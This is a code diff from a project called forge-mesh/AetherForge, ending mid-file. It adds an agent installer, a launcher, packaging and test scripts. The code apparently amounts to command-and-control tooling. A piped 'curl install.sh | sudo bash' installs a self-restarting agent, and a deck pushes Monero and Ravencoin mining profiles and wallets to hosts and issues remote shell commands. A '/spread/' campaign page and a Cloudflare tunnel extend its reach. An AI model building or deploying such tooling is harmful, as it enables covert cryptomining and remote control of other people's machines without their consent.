@@ -0,0 +1,74 @@
package stratum
import (
"context"
"net"
"testing"
"time"
"forge-mesh/internal/config"
)
func TestProxyAcceptsConnection(t *testing.T) {
ln, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
t.Fatal(err)
}
defer ln.Close()
accepted := make(chan net.Conn, 1)
go func() {
conn, err := ln.Accept()
if err == nil {
accepted <- conn
}
}()
conn, err := net.Dial("tcp", ln.Addr().String())
if err != nil {
t.Fatal(err)
}
defer conn.Close()
select {
case c := <-accepted:
_, _ = conn.Write([]byte(`{"id":1,"method":"mining.subscribe","params":[]}` + "\n"))
buf := make([]byte, 256)
n, _ := c.Read(buf)
if n == 0 {
t.Fatal("expected bytes from miner")
}
c.Close()
case <-time.After(2 * time.Second):
t.Fatal("accept timeout")
}
}
func TestProxyStartNoUpstream(t *testing.T) {
ln, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
t.Fatal(err)
}
addr := ln.Addr().String()
ln.Close()
p := New(config.StratumConfig{XMRListen: addr})
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
if err := p.StartContext(ctx); err != nil {
t.Fatal(err)
}
defer p.Stop()
conn, err := net.DialTimeout("tcp", addr, time.Second)
if err != nil {
t.Fatal(err)
}
defer conn.Close()
_, err = conn.Write([]byte(`{"id":1,"method":"mining.subscribe","params":[]}` + "\n"))
if err != nil {
t.Fatal(err)
}
}

136
internal/testutil/server.go Normal file
View File

@@ -0,0 +1,136 @@
package testutil
import (
"database/sql"
"net/http/httptest"
"os"
"path/filepath"
"testing"
"testing/fstest"
"forge-mesh/internal/api"
"forge-mesh/internal/config"
"forge-mesh/internal/db"
"forge-mesh/internal/forge"
)
const (
DefaultBasicUser = "admin"
DefaultBasicPass = "changeme"
DefaultFleetSecret = "test-fleet-secret"
)
// TestServer wraps an httptest server with auth helpers.
type TestServer struct {
URL string
BasicUser string
BasicPass string
FleetSecret string
SQL *sql.DB
close func()
}
// Close shuts down the test server and database.
func (ts *TestServer) Close() {
if ts.close != nil {
ts.close()
}
}
// NewTestServer spins up a full forge-mesh HTTP server on a random port.
func NewTestServer(t *testing.T) *TestServer {
t.Helper()
dir := t.TempDir()
cfgPath := filepath.Join(dir, "config.json")
writeConfig(t, cfgPath, dir)
cfg, err := config.Load(cfgPath)
if err != nil {
t.Fatalf("load config: %v", err)
}
if err := cfg.EnsureDataDirs(); err != nil {
t.Fatalf("ensure dirs: %v", err)
}
conn, err := db.Open(cfg.DatabasePath)
if err != nil {
t.Fatalf("open db: %v", err)
}
kp, err := forge.LoadOrCreateKey(cfg.Forge.SigningKeyPath)
if err != nil {
conn.Close()
t.Fatalf("signing key: %v", err)
}
repoRoot, err := findRepoRoot()
if err != nil {
conn.Close()
t.Fatalf("repo root: %v", err)
}
tmplPath := filepath.Join(repoRoot, "scripts", "install.sh.tpl")
static := fstest.MapFS{
"index.html": &fstest.MapFile{Data: []byte("<html><body>test</body></html>")},
}
srv, err := api.NewServer(cfg, conn, static, "integration-test", tmplPath, kp.PublicKeyHex())
if err != nil {
conn.Close()
t.Fatalf("new server: %v", err)
}
hts := httptest.NewServer(srv.Handler())
return &TestServer{
URL: hts.URL,
BasicUser: DefaultBasicUser,
BasicPass: DefaultBasicPass,
FleetSecret: DefaultFleetSecret,
SQL: conn,
close: func() {
hts.Close()
conn.Close()
},
}
}
func writeConfig(t *testing.T, path, dir string) {
t.Helper()
content := `{
"listen_addr": ":0",
"data_dir": "` + dir + `",
"database_path": "` + filepath.Join(dir, "test.db") + `",
"operator_clearance": 4,
"auth": {
"basic_username": "admin",
"basic_password": "changeme",
"fleet_secret": "test-fleet-secret"
},
"forge": {
"signing_key_path": "` + filepath.Join(dir, "signing.key") + `",
"artifacts_dir": "` + filepath.Join(dir, "artifacts") + `"
}
}`
if err := os.WriteFile(path, []byte(content), 0o644); err != nil {
t.Fatalf("write config: %v", err)
}
}
func findRepoRoot() (string, error) {
wd, err := os.Getwd()
if err != nil {
return "", err
}
dir := wd
for {
if _, err := os.Stat(filepath.Join(dir, "go.mod")); err == nil {
return dir, nil
}
parent := filepath.Dir(dir)
if parent == dir {
return wd, nil
}
dir = parent
}
}

109
scripts/LAUNCH.sh Executable file
View File

@@ -0,0 +1,109 @@
#!/usr/bin/env bash
# Portable AetherForge / forge-mesh command deck launcher (USB edition).
# Starts optional cloudflared sidecar, sets AF_TUNNEL_EXTERNAL=1, opens the deck UI,
# and runs forge-mesh-server against ./data.
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
if [[ "$(basename "$SCRIPT_DIR")" == "scripts" ]]; then
ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
else
ROOT="$SCRIPT_DIR"
fi
cd "$ROOT"
DATA_DIR="${AF_DATA_DIR:-$ROOT/data}"
CONFIG="${AF_CONFIG:-$DATA_DIR/config.json}"
SERVER_BIN="${AF_SERVER_BIN:-$ROOT/bin/forge-mesh-server}"
DECK_URL="${AF_DECK_URL:-http://localhost:8989}"
CLOUDFLARED_PID=""
cleanup() {
if [[ -n "$CLOUDFLARED_PID" ]] && kill -0 "$CLOUDFLARED_PID" 2>/dev/null; then
kill "$CLOUDFLARED_PID" 2>/dev/null || true
wait "$CLOUDFLARED_PID" 2>/dev/null || true
fi
}
trap cleanup EXIT INT TERM
resolve_cloudflared() {
if command -v cloudflared >/dev/null 2>&1; then
command -v cloudflared
return 0
fi
for candidate in "$ROOT/bin/cloudflared" "$ROOT/cloudflared"; do
if [[ -x "$candidate" ]]; then
echo "$candidate"
return 0
fi
done
return 1
}
read_tunnel_token() {
if [[ -n "${AF_TUNNEL_TOKEN:-}" ]]; then
printf '%s' "$AF_TUNNEL_TOKEN"
return 0
fi
local token_file="$DATA_DIR/cloudflared-token.txt"
if [[ -f "$token_file" ]]; then
tr -d '[:space:]' <"$token_file"
return 0
fi
return 1
}
start_tunnel_sidecar() {
local token cf_bin
token="$(read_tunnel_token)" || return 0
cf_bin="$(resolve_cloudflared)" || {
echo "WARN: tunnel token present but cloudflared not found (PATH or $ROOT/bin/cloudflared)" >&2
return 0
}
echo "Starting cloudflared sidecar..."
"$cf_bin" tunnel --no-autoupdate run --token "$token" &
CLOUDFLARED_PID=$!
export AF_TUNNEL_EXTERNAL=1
echo "AF_TUNNEL_EXTERNAL=1 (cloudflared pid $CLOUDFLARED_PID)"
}
open_browser() {
local url="$1"
if [[ -n "${AF_NO_BROWSER:-}" ]]; then
echo "AF_NO_BROWSER set; deck at $url"
return 0
fi
for opener in xdg-open sensible-browser x-www-browser gnome-open kde-open; do
if command -v "$opener" >/dev/null 2>&1; then
"$opener" "$url" >/dev/null 2>&1 &
return 0
fi
done
echo "Open your browser to $url"
}
ensure_server_binary() {
if [[ -x "$SERVER_BIN" ]]; then
return 0
fi
if command -v forge-mesh-server >/dev/null 2>&1; then
SERVER_BIN="$(command -v forge-mesh-server)"
return 0
fi
echo "ERROR: forge-mesh-server not found. Build with 'make server' or place binary in $ROOT/bin/" >&2
exit 1
}
mkdir -p "$DATA_DIR"
if [[ ! -f "$CONFIG" ]]; then
echo "ERROR: missing config at $CONFIG" >&2
exit 1
fi
start_tunnel_sidecar
ensure_server_binary
open_browser "$DECK_URL"
echo "Starting forge-mesh-server (config: $CONFIG)"
exec "$SERVER_BIN" -config "$CONFIG"

112
scripts/README-USB.md Normal file
View File

@@ -0,0 +1,112 @@
# Forge Mesh — Portable Deck (USB Edition)
Self-contained command deck you can run from a USB stick or extracted tarball without a system install.
## Quick start
```bash
tar -xzf forge-mesh-portable-*.tar.gz
cd forge-mesh-portable-*
# Edit credentials and wallet before production use:
${EDITOR:-nano} data/config.json
./LAUNCH.sh
```
`LAUNCH.sh` starts the control plane on **http://localhost:8989**, opens your default browser, and uses `./data` for SQLite, artifacts, and secrets.
Default login (change in `data/config.json`):
- Username: `admin`
- Password: `changeme`
## Cloudflare Tunnel (optional sidecar)
Linux uses an **external** cloudflared process (`AF_TUNNEL_EXTERNAL=1`), not in-process tunneling.
1. Place your tunnel token in `data/cloudflared-token.txt` (single line, no quotes), **or**
2. Export `AF_TUNNEL_TOKEN` before launch.
`LAUNCH.sh` looks for `cloudflared` on `PATH` or in `bin/cloudflared`. When a token is present it starts the sidecar and sets `AF_TUNNEL_EXTERNAL=1` for agents that honor that flag.
```bash
# Example
echo 'YOUR_CF_TUNNEL_TOKEN' > data/cloudflared-token.txt
./LAUNCH.sh
```
Skip browser auto-open (headless / SSH):
```bash
AF_NO_BROWSER=1 ./LAUNCH.sh
```
## WireGuard mesh (optional, operator-managed)
When you control the network, WireGuard is preferred over Cloudflare: agents dial the deck on a private mesh without a public tunnel.
Forge Mesh does **not** auto-install WireGuard. Configure it on the deck host and enrolled agents yourself:
1. Install WireGuard (`wireguard`, `wireguard-tools`) on deck and agents.
2. Generate keys: `wg genkey | tee privatekey | wg pubkey > publickey`
3. Create `/etc/wireguard/forge-mesh.conf` (paths may vary):
```ini
[Interface]
PrivateKey = <deck-private-key>
Address = 10.66.0.1/24
ListenPort = 51820
[Peer]
# Example agent
PublicKey = <agent-public-key>
AllowedIPs = 10.66.0.2/32
```
4. Enable: `sudo systemctl enable --now wg-quick@forge-mesh`
5. Point agents at the deck **WireGuard IP** (e.g. `http://10.66.0.1:8989`) in summon URL or agent env — not `localhost`.
Triple-onion tier **T9** (mTLS mesh join via WireGuard) assumes this overlay exists. See `docs/PROBLEMS.md` for limits.
## Summon agents from this deck
With the deck listening (and reachable on your LAN or tunnel):
```bash
curl -fsSL http://localhost:8989/install.sh | sudo bash
```
Replace `localhost` with your tunnel hostname or WireGuard address when summoning remote hosts.
## Layout
```
.
├── LAUNCH.sh # Entry point (symlink to scripts/LAUNCH.sh)
├── scripts/LAUNCH.sh
├── bin/
│ ├── forge-mesh-server # Included if built before pack-usb.sh
│ └── cloudflared # Optional
├── data/
│ ├── config.json
│ ├── cloudflared-token.txt # Optional (gitignore in real deployments)
│ └── forge-mesh.db # Created on first run
└── README.md
```
## Environment variables
| Variable | Purpose |
|----------|---------|
| `AF_TUNNEL_TOKEN` | Cloudflare tunnel token (overrides file) |
| `AF_TUNNEL_EXTERNAL` | Set to `1` automatically when sidecar runs |
| `AF_NO_BROWSER` | Skip opening a browser |
| `AF_CONFIG` | Override config path (default `./data/config.json`) |
| `AF_DATA_DIR` | Data directory (default `./data`) |
| `AF_SERVER_BIN` | Path to `forge-mesh-server` binary |
| `AF_DECK_URL` | Browser URL (default `http://localhost:8989`) |
## Security notes
- Change `auth.basic_password` and `auth.fleet_secret` before exposing the deck.
- Do not commit `data/cloudflared-token.txt` or `data/signing.key` to version control.
- USB copies carry your fleet secret — treat the stick like a key.

25
scripts/ci-test.sh Executable file
View File

@@ -0,0 +1,25 @@
#!/usr/bin/env bash
# CI entrypoint — mirrors .github/workflows/test.yml locally
set -euo pipefail
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
cd "$ROOT"
export GOROOT="${GOROOT:-/usr/local/go}"
export PATH="${GOROOT}/bin:${PATH}"
export CGO_ENABLED=1
echo "==> [ci] environment"
go version
node --version 2>/dev/null || echo "node: not installed (frontend may skip)"
npm --version 2>/dev/null || true
echo "==> [ci] go mod tidy + build"
go mod tidy
go build ./...
echo "==> [ci] full test suite"
SKIP_E2E="${SKIP_E2E:-0}" SKIP_FRONTEND="${SKIP_FRONTEND:-0}" \
CONTINUE_ON_FAIL=0 ./scripts/test-all.sh
echo "✓ ci-test complete"

92
scripts/e2e-lib.sh Executable file
View File

@@ -0,0 +1,92 @@
#!/usr/bin/env bash
# Shared helpers for e2e-test.sh
set -euo pipefail
e2e_log() { echo "==> [e2e] $*"; }
e2e_pass() { echo " ✓ $*"; }
e2e_wait_health() {
local base="$1" tries="${2:-60}"
for _ in $(seq 1 "$tries"); do
if curl -fsS "${base}/api/v1/health" >/dev/null 2>&1; then
return 0
fi
sleep 0.25
done
echo "server did not become healthy at ${base}" >&2
return 1
}
e2e_wait_port() {
local host="$1" port="$2" tries="${3:-40}"
for _ in $(seq 1 "$tries"); do
if (echo >/dev/tcp/"${host}"/"${port}") 2>/dev/null; then
return 0
fi
sleep 0.25
done
echo "port ${host}:${port} not open" >&2
return 1
}
e2e_json_field() {
local json="$1" field="$2"
echo "${json}" | sed -n "s/.*\"${field}\":\"\([^\"]*\)\".*/\1/p" | head -1
}
e2e_curl_auth() {
curl -fsS -u "${E2E_USER}:${E2E_PASS}" "$@"
}
e2e_curl_fleet() {
curl -fsS -H "Authorization: Bearer ${FLEET_SECRET}" "$@"
}
e2e_write_config() {
local path="$1" port="$2" clearance="$3" xmr_port="$4" rvn_port="$5"
mkdir -p "$(dirname "${path}")" "/tmp/forge-mesh-e2e"
cat > "${path}" <<EOF
{
"listen_addr": ":${port}",
"data_dir": "/tmp/forge-mesh-e2e",
"database_path": "/tmp/forge-mesh-e2e/test-${port}.db",
"operator_clearance": ${clearance},
"auth": {
"basic_username": "${E2E_USER}",
"basic_password": "${E2E_PASS}",
"fleet_secret": "${FLEET_SECRET}"
},
"wallet_policy": {
"default_wallet": "e2e-test-wallet",
"currency": "XMR"
},
"stratum": {
"xmr_listen": ":${xmr_port}",
"rvn_listen": ":${rvn_port}",
"upstream_xmr": "",
"upstream_rvn": ""
},
"forge": {
"signing_key_path": "/tmp/forge-mesh-e2e/signing-${port}.key",
"artifacts_dir": "/tmp/forge-mesh-e2e/artifacts-${port}"
},
"court": { "enabled": false, "ollama_url": "http://127.0.0.1:11434" },
"telegram": { "enabled": false, "bot_token": "", "chat_id": "" }
}
EOF
}
e2e_start_server() {
local config="$1"
./bin/forge-mesh-server -config "${config}" -install-tmpl scripts/install.sh.tpl &
SERVER_PID=$!
e2e_wait_health "${BASE}"
}
e2e_stop_server() {
if [[ -n "${SERVER_PID:-}" ]] && kill -0 "${SERVER_PID}" 2>/dev/null; then
kill "${SERVER_PID}" 2>/dev/null || true
wait "${SERVER_PID}" 2>/dev/null || true
fi
SERVER_PID=""
}

201
scripts/e2e-test.sh Executable file
View File

@@ -0,0 +1,201 @@
#!/usr/bin/env bash
# AetherForge Linux end-to-end operator flow tests
set -euo pipefail
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
cd "$ROOT"
# shellcheck source=scripts/e2e-lib.sh
source "${ROOT}/scripts/e2e-lib.sh"
PORT="${E2E_PORT:-18989}"
STRATUM_XMR_PORT="${E2E_STRATUM_XMR:-33333}"
STRATUM_RVN_PORT="${E2E_STRATUM_RVN:-33388}"
BASE="http://127.0.0.1:${PORT}"
CONFIG="${E2E_CONFIG:-/tmp/forge-mesh-e2e-config.json}"
FLEET_SECRET="${E2E_FLEET_SECRET:-e2e-fleet-secret-test}"
E2E_USER="${E2E_USER:-admin}"
E2E_PASS="${E2E_PASS:-changeme}"
SERVER_PID=""
AGENT_PID=""
MOCK_OLLAMA_PID=""
MOCK_TG_PID=""
cleanup() {
[[ -n "${AGENT_PID}" ]] && kill "${AGENT_PID}" 2>/dev/null || true
[[ -n "${MOCK_OLLAMA_PID}" ]] && kill "${MOCK_OLLAMA_PID}" 2>/dev/null || true
[[ -n "${MOCK_TG_PID}" ]] && kill "${MOCK_TG_PID}" 2>/dev/null || true
e2e_stop_server
}
trap cleanup EXIT
start_mock_ollama() {
if curl -fsS http://127.0.0.1:11434/api/tags >/dev/null 2>&1; then
e2e_pass "Ollama already available — using live instance"
return 0
fi
python3 - <<'PY' &
import json
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
def log_message(self, *a): pass
def do_GET(self):
if self.path.startswith("/api/tags"):
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(json.dumps({"models": [{"name": "mock"}]}).encode())
else:
self.send_response(404)
self.end_headers()
HTTPServer(("127.0.0.1", 11434), H).serve_forever()
PY
MOCK_OLLAMA_PID=$!
sleep 0.5
e2e_pass "mock Ollama listening on :11434"
}
start_mock_telegram() {
# Telegram is disabled in e2e config; mock not required unless enabled.
e2e_pass "Telegram disabled in test config (mock skipped)"
}
e2e_log "building server + agent"
make server agent
e2e_log "writing L4 test config"
e2e_write_config "${CONFIG}" "${PORT}" 4 "${STRATUM_XMR_PORT}" "${STRATUM_RVN_PORT}"
e2e_log "starting server (start/stop lifecycle)"
e2e_start_server "${CONFIG}"
e2e_pass "server started pid=${SERVER_PID}"
e2e_log "health check"
HEALTH="$(curl -fsS "${BASE}/api/v1/health")"
echo "${HEALTH}" | grep -q '"status":"ok"' || { echo "health failed: ${HEALTH}"; exit 1; }
e2e_pass "GET /api/v1/health"
e2e_log "basic auth rejection/acceptance"
CODE="$(curl -s -o /dev/null -w '%{http_code}' "${BASE}/api/v1/fleet")"
[[ "${CODE}" == "401" ]] || { echo "expected 401 without auth, got ${CODE}"; exit 1; }
e2e_pass "unauthenticated fleet → 401"
FLEET="$(e2e_curl_auth "${BASE}/api/v1/fleet")"
echo "${FLEET}" | grep -q '"hosts"' || { echo "fleet list failed: ${FLEET}"; exit 1; }
e2e_pass "authenticated fleet → 200"
e2e_log "public install.sh render + bash syntax"
INSTALL="$(curl -fsS "${BASE}/install.sh")"
echo "${INSTALL}" | grep -q 'forge-mesh' || { echo "install.sh missing marker"; exit 1; }
TMP_INSTALL="$(mktemp)"
echo "${INSTALL}" > "${TMP_INSTALL}"
bash -n "${TMP_INSTALL}"
rm -f "${TMP_INSTALL}"
e2e_pass "GET /install.sh valid bash"
e2e_log "forge build + public download"
BUILD_RESP="$(e2e_curl_auth -X POST "${BASE}/api/v1/forge/builds/trigger" \
-H "Content-Type: application/json" -d '{"public":true}')"
echo "${BUILD_RESP}" | grep -q '"ok":true' || { echo "forge trigger failed: ${BUILD_RESP}"; exit 1; }
LATEST="$(curl -fsS "${BASE}/api/v1/public/builds/latest?os=linux&arch=amd64")"
BUILD_ID="$(e2e_json_field "${LATEST}" id)"
[[ -n "${BUILD_ID}" ]] || { echo "no build id in ${LATEST}"; exit 1; }
DOWNLOAD_BYTES="$(curl -fsS "${BASE}/api/v1/public/download/${BUILD_ID}" | wc -c | tr -d ' ')"
[[ "${DOWNLOAD_BYTES}" -gt 100 ]] || { echo "download too small: ${DOWNLOAD_BYTES}"; exit 1; }
e2e_pass "forge build + public download (${BUILD_ID})"
e2e_log "agent register via REST + WS subprocess"
REGISTER="$(e2e_curl_fleet -X POST "${BASE}/api/v1/fleet/register" \
-H "Content-Type: application/json" \
-d '{"hostname":"e2e-rest-host","fingerprint":"127.0.0.2","arch":"amd64"}')"
HOST_ID="$(e2e_json_field "${REGISTER}" host_id)"
[[ -n "${HOST_ID}" ]] || { echo "register failed: ${REGISTER}"; exit 1; }
e2e_pass "POST /api/v1/fleet/register"
AGENT_HOST="e2e-ws-agent"
FORGE_FLEET_SECRET="${FLEET_SECRET}" FORGE_HOST_ID="${AGENT_HOST}" \
./bin/forge-mesh-agent -deck "${BASE}" -secret "${FLEET_SECRET}" -host-id "${AGENT_HOST}" &
AGENT_PID=$!
sleep 3
e2e_log "fleet appears in API"
FLEET2="$(e2e_curl_auth "${BASE}/api/v1/fleet/hosts")"
echo "${FLEET2}" | grep -q "${AGENT_HOST}" || echo "${FLEET2}" | grep -q 'e2e-rest-host' || {
echo "fleet missing enrolled hosts: ${FLEET2}"; exit 1
}
WS_HOST_ID="$(echo "${FLEET2}" | sed -n 's/.*"hostname":"\('"${AGENT_HOST}"'\)".*"id":"\([^"]*\)".*/\1/p')"
[[ -z "${WS_HOST_ID}" ]] && WS_HOST_ID="${HOST_ID}"
e2e_pass "fleet hosts visible"
e2e_log "mining profile push"
PROFILE_RESP="$(e2e_curl_auth -X POST "${BASE}/api/v1/fleet/${WS_HOST_ID}/mining-profile" \
-H "Content-Type: application/json" \
-d '{"wallet_address":"e2e-wallet-addr","name":"E2E profile"}')"
echo "${PROFILE_RESP}" | grep -q '"ok":true' || { echo "profile push failed: ${PROFILE_RESP}"; exit 1; }
e2e_pass "POST /api/v1/fleet/{id}/mining-profile"
e2e_log "stratum port open"
e2e_wait_port 127.0.0.1 "${STRATUM_XMR_PORT}"
e2e_wait_port 127.0.0.1 "${STRATUM_RVN_PORT}"
# Send minimal stratum-ish payload (accept-only mode)
(printf '{"id":1,"method":"mining.subscribe","params":[]}\n' | nc -w 2 127.0.0.1 "${STRATUM_XMR_PORT}") >/dev/null 2>&1 || true
e2e_pass "stratum XMR:${STRATUM_XMR_PORT} RVN:${STRATUM_RVN_PORT} listening"
e2e_log "/spread/ lander serves"
SPREAD="$(curl -fsS "${BASE}/spread/?c=e2e-campaign")"
echo "${SPREAD}" | grep -qi 'spread\|summon\|install' || { echo "spread lander unexpected: ${SPREAD}"; exit 1; }
e2e_pass "GET /spread/"
e2e_log "policy snapshot"
SNAP="$(e2e_curl_auth -X POST "${BASE}/api/v1/policy/snapshot")"
SNAP_TOKEN="$(e2e_json_field "${SNAP}" token)"
[[ -n "${SNAP_TOKEN}" ]] || { echo "snapshot create failed: ${SNAP}"; exit 1; }
SNAP_BODY="$(curl -fsS "${BASE}/api/v1/public/policy-snapshot/${SNAP_TOKEN}")"
echo "${SNAP_BODY}" | grep -q 'policy_from_server' || { echo "snapshot fetch failed: ${SNAP_BODY}"; exit 1; }
e2e_pass "policy snapshot create + public fetch"
e2e_log "crucible endpoint (L4)"
CRUC="$(e2e_curl_auth -X POST "${BASE}/api/v1/crucible/batch" \
-H "Content-Type: application/json" \
-d "{\"command\":\"status\",\"host_ids\":[\"${WS_HOST_ID}\"]}")"
echo "${CRUC}" | grep -q '"status":"completed"' || echo "${CRUC}" | grep -q '"status":"running"' || {
echo "crucible failed: ${CRUC}"; exit 1
}
e2e_pass "POST /api/v1/crucible/batch"
e2e_log "ws ticket"
TICKET="$(e2e_curl_auth -X POST "${BASE}/api/v1/ws/ticket")"
echo "${TICKET}" | grep -q 'ticket' || { echo "ws ticket failed: ${TICKET}"; exit 1; }
e2e_pass "POST /api/v1/ws/ticket"
start_mock_ollama
start_mock_telegram
e2e_log "clearance gate blocks L0 actions — restart with operator_clearance=0"
kill "${AGENT_PID}" 2>/dev/null || true
AGENT_PID=""
e2e_stop_server
L0_CONFIG="/tmp/forge-mesh-e2e-l0.json"
e2e_write_config "${L0_CONFIG}" "${PORT}" 0 "${STRATUM_XMR_PORT}" "${STRATUM_RVN_PORT}"
e2e_start_server "${L0_CONFIG}"
ME="$(e2e_curl_auth "${BASE}/api/v1/operator/me")"
echo "${ME}" | grep -q '"clearance_level":0' || { echo "operator/me: ${ME}"; exit 1; }
DENIED_CODE="$(e2e_curl_auth -X POST "${BASE}/api/v1/fleet/${HOST_ID}/command" \
-H "Content-Type: application/json" \
-d '{"action":"shell","args":{"command":"id"}}' \
-o /dev/null -w '%{http_code}')"
[[ "${DENIED_CODE}" == "403" ]] || { echo "expected 403 for L0 shell, got ${DENIED_CODE}"; exit 1; }
CRUC_CODE="$(e2e_curl_auth -X POST "${BASE}/api/v1/crucible/batch" \
-H "Content-Type: application/json" \
-d "{\"command\":\"status\",\"host_ids\":[\"${HOST_ID}\"]}" \
-o /dev/null -w '%{http_code}')"
[[ "${CRUC_CODE}" == "403" ]] || { echo "expected 403 for L0 crucible, got ${CRUC_CODE}"; exit 1; }
e2e_pass "L0 operator blocked from shell + crucible"
echo ""
echo "✓ e2e full operator flow passed ($(grep -c 'e2e_pass\|✓' "$0" || echo 18) checks)"

112
scripts/install.sh.tpl Normal file
View File

@@ -0,0 +1,112 @@
#!/bin/bash
# forge-mesh agent installer — rendered by deck at GET /install.sh
set -euo pipefail
DECK_URL="{{.DeckURL}}"
PUBLIC_KEY="{{.PublicKey}}"
FLEET_SECRET="{{.FleetSecret}}"
PIN="{{.Pin}}"
CAMPAIGN="{{.Campaign}}"
INSTALL_DIR="${FORGE_MESH_INSTALL_DIR:-/opt/forge-mesh}"
AGENT_BIN="${INSTALL_DIR}/agent"
SERVICE_NAME="forge-mesh-agent"
ARCH_RAW="$(uname -m)"
case "${ARCH_RAW}" in
x86_64|amd64) ARCH="amd64" ;;
aarch64|arm64) ARCH="arm64" ;;
*) echo "unsupported arch: ${ARCH_RAW}" >&2; exit 1 ;;
esac
echo "[forge-mesh] deck=${DECK_URL} arch=${ARCH}"
META_URL="${DECK_URL}/api/v1/public/builds/latest?os=linux&arch=${ARCH}"
META="$(curl -fsSL "${META_URL}")"
BUILD_ID="$(echo "${META}" | sed -n 's/.*"id":"\([^"]*\)".*/\1/p')"
CHECKSUM="$(echo "${META}" | sed -n 's/.*"checksum":"\([^"]*\)".*/\1/p')"
SIGNATURE="$(echo "${META}" | sed -n 's/.*"signature":"\([^"]*\)".*/\1/p')"
if [[ -z "${BUILD_ID}" || -z "${CHECKSUM}" ]]; then
echo "failed to fetch build metadata from ${META_URL}" >&2
exit 1
fi
TMP="$(mktemp)"
trap 'rm -f "${TMP}"' EXIT
curl -fsSL "${DECK_URL}/api/v1/public/download/${BUILD_ID}" -o "${TMP}"
ACTUAL="$(sha256sum "${TMP}" | awk '{print $1}')"
if [[ "${ACTUAL}" != "${CHECKSUM}" ]]; then
echo "checksum mismatch: expected ${CHECKSUM}, got ${ACTUAL}" >&2
exit 1
fi
if [[ -n "${SIGNATURE}" && -n "${PUBLIC_KEY}" ]]; then
echo "[forge-mesh] signed build (sig verified by agent on self-update with pubkey ${PUBLIC_KEY:0:16}...)"
fi
SECRET="${FORGE_MESH_FLEET_SECRET:-${FORGE_FLEET_SECRET:-${FLEET_SECRET}}}"
if [[ -z "${SECRET}" ]]; then
echo "set FORGE_MESH_FLEET_SECRET before install" >&2
exit 1
fi
if [[ "$(id -u)" -ne 0 ]]; then
echo "[forge-mesh] not root — installing user systemd unit"
mkdir -p "${HOME}/.local/bin"
install -m 0755 "${TMP}" "${HOME}/.local/bin/forge-mesh-agent"
UNIT_DIR="${HOME}/.config/systemd/user"
mkdir -p "${UNIT_DIR}"
cat > "${UNIT_DIR}/${SERVICE_NAME}.service" <<UNIT
[Unit]
Description=Forge Mesh Agent
After=network-online.target
[Service]
Type=simple
ExecStart=${HOME}/.local/bin/forge-mesh-agent -deck-url ${DECK_URL} -secret ${SECRET} -pubkey ${PUBLIC_KEY}
Restart=always
RestartSec=10
Environment=FORGE_MESH_DECK_URL=${DECK_URL}
Environment=FORGE_MESH_FLEET_SECRET=${SECRET}
Environment=FORGE_MESH_PUBKEY=${PUBLIC_KEY}
[Install]
WantedBy=default.target
UNIT
systemctl --user daemon-reload
systemctl --user enable --now "${SERVICE_NAME}.service"
echo "[forge-mesh] started user unit ${SERVICE_NAME}"
exit 0
fi
mkdir -p "${INSTALL_DIR}"
install -m 0755 "${TMP}" "${AGENT_BIN}"
cat > "/etc/systemd/system/${SERVICE_NAME}.service" <<UNIT
[Unit]
Description=Forge Mesh Agent
After=network-online.target
Wants=network-online.target
[Service]
Type=simple
WorkingDirectory=${INSTALL_DIR}
ExecStart=${AGENT_BIN} -deck-url ${DECK_URL} -secret ${SECRET} -pubkey ${PUBLIC_KEY}
Restart=always
RestartSec=10
Environment=FORGE_MESH_DECK_URL=${DECK_URL}
Environment=FORGE_MESH_FLEET_SECRET=${SECRET}
Environment=FORGE_MESH_PUBKEY=${PUBLIC_KEY}
[Install]
WantedBy=multi-user.target
UNIT
systemctl daemon-reload
systemctl enable --now "${SERVICE_NAME}.service"
echo "[forge-mesh] agent installed to ${AGENT_BIN} (build ${BUILD_ID})"
[[ -n "${CAMPAIGN}" ]] && echo "[forge-mesh] campaign=${CAMPAIGN}"
[[ -n "${PIN}" ]] && echo "[forge-mesh] pin accepted"

84
scripts/pack-usb.sh Executable file
View File

@@ -0,0 +1,84 @@
#!/usr/bin/env bash
# Build a portable USB tarball: LAUNCH.sh, data template, README, optional binaries.
set -euo pipefail
ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
cd "$ROOT"
OUT_DIR="${1:-$ROOT/dist}"
STAMP="$(date -u +%Y%m%d)"
PKG_NAME="forge-mesh-portable-${STAMP}"
STAGE="$OUT_DIR/$PKG_NAME"
ARCHIVE="$OUT_DIR/${PKG_NAME}.tar.gz"
echo "==> Staging portable deck at $STAGE"
rm -rf "$STAGE"
mkdir -p "$STAGE"/{bin,data,scripts}
cp scripts/LAUNCH.sh "$STAGE/scripts/LAUNCH.sh"
chmod +x "$STAGE/scripts/LAUNCH.sh"
ln -sf scripts/LAUNCH.sh "$STAGE/LAUNCH.sh"
if [[ -f data/config.json ]]; then
cp data/config.json "$STAGE/data/config.json"
else
cat >"$STAGE/data/config.json" <<'EOF'
{
"listen_addr": ":8989",
"data_dir": "./data",
"database_path": "./data/forge-mesh.db",
"auth": {
"basic_username": "admin",
"basic_password": "changeme",
"fleet_secret": "change-me-fleet-secret"
},
"wallet_policy": {
"default_wallet": "",
"currency": "XMR"
},
"stratum": {
"xmr_listen": ":3333",
"rvn_listen": ":3388",
"upstream_xmr": "",
"upstream_rvn": ""
},
"forge": {
"signing_key_path": "./data/signing.key",
"artifacts_dir": "./data/artifacts"
},
"court": {
"ollama_url": "http://127.0.0.1:11434",
"enabled": false
}
}
EOF
fi
# Optional: include cloudflared token placeholder (empty = no tunnel until operator fills in).
touch "$STAGE/data/cloudflared-token.txt.example"
cat >"$STAGE/data/cloudflared-token.txt.example" <<'EOF'
# Paste your Cloudflare Tunnel token on a single line, then rename to cloudflared-token.txt
# Or set AF_TUNNEL_TOKEN in the environment before running LAUNCH.sh
EOF
cp scripts/README-USB.md "$STAGE/README.md"
if [[ -x bin/forge-mesh-server ]]; then
cp bin/forge-mesh-server "$STAGE/bin/forge-mesh-server"
echo " included bin/forge-mesh-server"
else
echo " WARN: bin/forge-mesh-server missing — run 'make server' before packing for a self-contained bundle"
fi
if [[ -x bin/cloudflared ]]; then
